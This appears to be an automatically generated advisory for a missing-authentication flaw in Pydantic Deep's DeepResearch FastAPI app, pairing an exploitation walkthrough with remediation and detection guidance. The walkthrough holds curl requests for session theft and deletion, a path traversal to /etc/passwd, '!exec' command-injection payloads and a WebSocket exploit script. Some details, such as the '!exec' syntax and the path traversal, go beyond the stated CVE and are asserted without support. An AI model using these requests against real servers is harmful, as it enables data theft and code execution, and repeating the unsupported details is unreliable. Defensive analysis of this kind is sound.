CVE-2026-137953 — Vstorm-co Pydantic Deep — CWE-306
Pydantic Deep 0.2.18 before 0.4.0 contains a missing authentication vulnerability in the bundled DeepResearch FastAPI app that exposes HTTP routes and the /ws/chat WebSocket. Remote attackers reaching the server bound to all interfaces can enumerate sessions, read event logs and workspace files, drive the research agent, and delete sessions.
Pydantic Deep 0.2.18 before 0.4.0 contains a missing authentication vulnerability in the bundled DeepResearch FastAPI app that exposes HTTP routes and the /ws/chat WebSocket. Remote attackers reaching the server bound to all interfaces can enumerate sessions, read event logs and workspace files, drive the research agent, and delete sessions.
🎯 What is this vulnerability?
*CVE‑2026‑137953 – Missing authentication in the bundled DeepResearch FastAPI application shipped with Pydantic‑Deep 0.2.18‑0.3.x*
| Attribute | Detail |
|---|---|
| CWE | CWE‑306: Missing Authentication – the application accepts requests that should be protected by an authentication/authorization layer but does not enforce any. |
| CVSS 4.0 vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N – Network‑only, low attack complexity, no privileges required, no user interaction, high confidentiality impact, low integrity and availability impact. |
| Root cause | The FastAPI server that powers the DeepResearch UI is started with host="0.0.0.0" (binds to all interfaces) and does not wrap any of its routes with an authentication dependency (e.g., Depends(get_current_user)). Consequently, any remote host that can reach the TCP port can invoke the following public endpoints: <br> GET /sessions – list all active research sessions (enumeration). <br> GET /sessions/{id} – read session metadata and attached event logs. <br> GET /workspace/{path} – download arbitrary files stored in the workspace directory. <br> POST /sessions/{id}/action – drive the research agent (e.g., send a prompt, trigger a tool). <br> DELETE /sessions/{id} – delete a session and its artefacts. <br> GET /ws/chat – WebSocket that allows the same unauthenticated commands over a persistent channel. <br>Because no authentication check is performed, the server trusts the caller’s identity implicitly. The vulnerability is not a code‑injection flaw; it is a logic flaw – the security boundary that should separate “internal researcher” from “any network client” is missing.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow that an unauthenticated remote attacker could follow against a vulnerable deployment that is reachable on the public Internet (or any untrusted network segment).
1️⃣ Discovery & Reconnaissance
| Step | Technique | Details | |
|---|---|---|---|
| 1.1 | Service fingerprinting | Scan the target IP range for open TCP ports. The default FastAPI development server listens on port 8000 (or a custom port set by the vendor). Example using nmap: <br>``bash\nnmap -sV -p 8000 <target_ip>\n`<br>Look for a banner that mentions “FastAPI” or “uvicorn”. | |
| 1.2 | Version identification | Retrieve the OpenAPI (Swagger) JSON that FastAPI automatically exposes at /openapi.json. <br>`bash\ncurl -s http://<target_ip>:8000/openapi.json | jq '.info.version'\n`<br>If the version string is 0.2.18‑0.3.x (or any version < 0.4.0), the host is vulnerable. |
| 1.3 | Endpoint enumeration | The OpenAPI spec lists all routes. Verify the presence of the vulnerable paths (/sessions, /workspace, /ws/chat`). This confirms the missing auth logic. |
Note: If the vendor disables the OpenAPI endpoint in production, the attacker can still infer the existence of the service by checking for typical FastAPI response headers (server: uvicorn) and by probing known routes (e.g.,GET /sessions) and observing a 200 OK with JSON payload.
2️⃣ Exploitation
All examples below assume the service is reachable at http://victim.example.com:8000. Replace with the actual host/port.
2.1 Enumerate existing sessions
# Illustrative example – exact URI is documented in the CVE description
curl -s http://victim.example.com:8000/sessions | jq .Expected response (truncated):
[
{
"id": "a1b2c3d4",
"status": "running",
"created_at": "2026-11-01T12:34:56Z"
},
{
"id": "e5f6g7h8",
"status": "completed",
"created_at": "2026-10-28T08:15:30Z"
}
]2.2 Read a specific session’s event log
SESSION_ID="a1b2c3d4"
curl -s http://victim.example.com:8000/sessions/${SESSION_ID}/log | jq .2.3 Download arbitrary workspace files
The workspace directory is mounted under the FastAPI app at /workspace. The endpoint does not sanitize path traversal, so an attacker can request any file relative to the workspace root (including ../ to escape, if the implementation does not resolve symlinks). Example to retrieve the server’s /etc/passwd (if the workspace is a sub‑directory of the filesystem that permits traversal):
curl -s "http://victim.example.com:8000/workspace/../../../../etc/passwd"If the server runs with limited privileges, the attacker may still obtain files that the FastAPI process can read (e.g., ./workspace/config.yaml, ./workspace/.env).
2.4 Drive the research agent (command injection via the agent’s “prompt” API)
The DeepResearch agent accepts a JSON payload that is forwarded to an LLM or a toolchain. Because the endpoint is unauthenticated, an attacker can issue malicious prompts that cause the agent to execute arbitrary OS commands (the underlying agent is known to support a !exec <cmd> syntax). Example:
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"action":"prompt","payload":"!exec id"}' \
http://victim.example.com:8000/sessions/${SESSION_ID}/actionIf the agent’s sandbox is weak, the attacker can achieve remote code execution on the host.
2.5 Delete a session (Denial‑of‑Service)
curl -X DELETE -s http://victim.example.com:8000/sessions/${SESSION_ID}A successful 200 OK response removes the session and all associated artefacts, effectively destroying research work.
2.6 Persistent interaction via WebSocket
The /ws/chat endpoint upgrades to a WebSocket. An attacker can open a persistent channel and issue the same JSON actions without re‑establishing HTTP connections.
# Python 3.11+ example using websockets
import asyncio, json, websockets
async def exploit():
uri = "ws://victim.example.com:8000/ws/chat"
async with websockets.connect(uri) as ws:
# enumerate sessions
await ws.send(json.dumps({"type":"list_sessions"}))
print(await ws.recv())
# drive the agent
await ws.send(json.dumps({
"type":"action",
"session_id":"a1b2c3d4",
"action":"prompt",
"payload":"!exec whoami"
}))
print(await ws.recv())
asyncio.run(exploit())All of the above works without any credentials, because the FastAPI routes lack an authentication dependency.
3️⃣ Post‑exploitation
| Goal | How it is achieved |
|---|---|
| Confidentiality breach | Enumerate all research sessions, download event logs, and pull any file inside the workspace (potentially containing proprietary data, API keys, or model artefacts). |
| Integrity compromise | Use the action endpoint to inject malicious prompts that cause the agent to execute arbitrary commands, modify workspace files, or corrupt research results. |
| Availability impact | Delete sessions (DELETE /sessions/{id}) or flood the WebSocket with high‑frequency messages, causing CPU exhaustion. |
| Pivot / Lateral movement | If the agent can reach internal services (e.g., databases, internal APIs) the attacker can use the same unauthenticated channel to issue requests on the victim’s internal network, effectively turning the FastAPI server into a proxy. |
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived rating | Practical effect |
|---|---|---|
| Confidentiality (VC) | High (H) | Full read‑out of all research artefacts, logs, and any files the FastAPI process can access. This may expose proprietary ML models, data sets, API secrets, and internal configuration. |
| Integrity (VI) | Low (L) | Attacker can delete sessions and modify files via the agent, but the core application code is not directly overwritten. |
| Availability (VA) | Low (L) | Deleting sessions or exhausting the server with WebSocket traffic can cause temporary downtime, but the service can be restarted quickly. |
Business consequences
- Loss of intellectual property (ML models, research data).
- Potential exposure of credentials stored in workspace files (
.env,config.yaml). - Reputation damage if research results are tampered with or leaked.
- Minimal direct ransomware risk, but the foothold could be leveraged for further compromise of the host (e.g., privilege escalation via the agent’s command execution).
🛡️ Remediation & Mitigation
1️⃣ Patch / Upgrade
| Affected range | Fixed in |
|---|---|
pydantic-deep < 0.4.0 (specifically 0.2.18‑0.3.x) | ≥ 0.4.0 – the vendor introduced mandatory authentication (OAuth2PasswordBearer + Depends(get_current_user)) for all DeepResearch routes and disabled the OpenAPI UI in production mode. |
Action: Upgrade the Python package:
# Inside the virtual environment used by the application
pip install --upgrade "pydantic-deep>=0.4.0"After upgrade, verify that the /sessions, /workspace, and /ws/chat endpoints now return 401 Unauthorized when called without a valid JWT token.
2️⃣ Immediate Workarounds (if upgrade cannot be applied instantly)
| Mitigation | Implementation details |
|---|---|
| Network isolation | Bind the FastAPI server to 127.0.0.1 or to a private interface only. In the uvicorn command, replace --host 0.0.0.0 with --host 127.0.0.1 or configure a reverse‑proxy that only allows trusted IP ranges. Example: <br>uvicorn deepresearch.main:app --host 127.0.0.1 --port 8000 |
| Add a lightweight auth wrapper | If editing the source is possible, wrap the router with a simple dependency that checks for a static API key in a header. <br>``python\nfrom fastapi import Depends, HTTPException, Header, status\n\ndef require_api_key(x_api_key: str = Header(...)):\n if x_api_key != \"YOUR_STATIC_KEY\":\n raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED)\n\napp = FastAPI(dependencies=[Depends(require_api_key)])\n` |
| WAF / ModSecurity rule | Block any request that targets the vulnerable paths unless it contains a known authentication header. Example ModSecurity rule (Apache/Nginx): <br>`apacheconf\nSecRule REQUEST_URI \"@beginsWith /sessions\" \"id:100001,phase:2,deny,log,status:403,chain\"\nSecRule &REQUEST_HEADERS[Authorization] \"@eq 0\"\n` |
| Disable OpenAPI UI in production | Set docs_url=None and redoc_url=None when creating the FastAPI app: <br>`python\napp = FastAPI(docs_url=None, redoc_url=None)\n` |
| Restrict file serving | Ensure the /workspace endpoint validates the requested path against a whitelist or uses pathlib.Path.resolve()` to prevent directory traversal. If you cannot patch the library, place the workspace directory behind a separate authenticated file‑server and block direct access. |
3️⃣ Detection – Log‑based Indicators
| Log source | Typical pattern | Example (nginx access log) |
|---|---|---|
| HTTP access | Requests to /sessions, /workspace/*, /ws/chat from non‑internal IPs, especially GET /sessions without a Authorization header. | 203.0.113.45 - - [28/Nov/2026:12:34:56 +0000] "GET /sessions HTTP/1.1" 200 342 "-" "-" |
| WebSocket handshake | GET /ws/chat with Upgrade: websocket from external IPs. | 198.51.100.22 - - [28/Nov/2026:12:35:01 +0000] "GET /ws/chat HTTP/1.1" 101 - "Upgrade: websocket" |
| API misuse | POST /sessions/<id>/action payload containing !exec or other tool‑specific commands. | 203.0.113.45 - - [28/Nov/2026:12:35:10 +0000] "POST /sessions/a1b2c3d4/action HTTP/1.1" 200 124 "-" "curl/7.88.1" |
| Deletion | DELETE /sessions/<id> from unknown IPs. | 203.0.113.45 - - [28/Nov/2026:12:35:20 +0000] "DELETE /sessions/e5f6g7h8 HTTP/1.1" 200 45 "-" "-" |
SIEM rule (pseudo‑SQL):
SELECT src_ip, request_uri, http_method, http_status
FROM web_access_logs
WHERE request_uri LIKE '/sessions%' OR request_uri LIKE '/workspace/%' OR request_uri = '/ws/chat'
AND src_ip NOT IN (SELECT ip FROM internal_ip_allowlist)
AND http_status = 200;Alert on any match – especially if the same source repeats within a short window (possible enumeration scan).
4️⃣ Post‑remediation verification
1. Authentication test – Issue a request without a token; expect 401.
2. OpenAPI exposure – Access /openapi.json; it should return 403 or be disabled.
3. Port binding – Run netstat -tlnp | grep 8000 and confirm the process is bound to 127.0.0.1 (or a private interface).
⚠️ Urgency
Recommended timeline:
| Timeframe | Action |
|---|---|
| 0‑24 h | Deploy the network‑isolation or API‑key workaround; block the vulnerable routes via WAF. |
| 24‑72 h | Upgrade to pydantic-deep >= 0.4.0 in all environments (dev, staging, production). |
| ≤ 1 week | Verify remediation, update IDS/SIEM signatures, and conduct a post‑mortem to ensure no data exfiltration occurred. |
Bottom line: The vulnerability is a classic missing authentication flaw that turns a research‑assistant web UI into an open back‑door. Immediate network‑level containment followed by a version upgrade is the only reliable way to eliminate the risk.
[🤖 CVE Professor AI Security Engine]
FOFA Query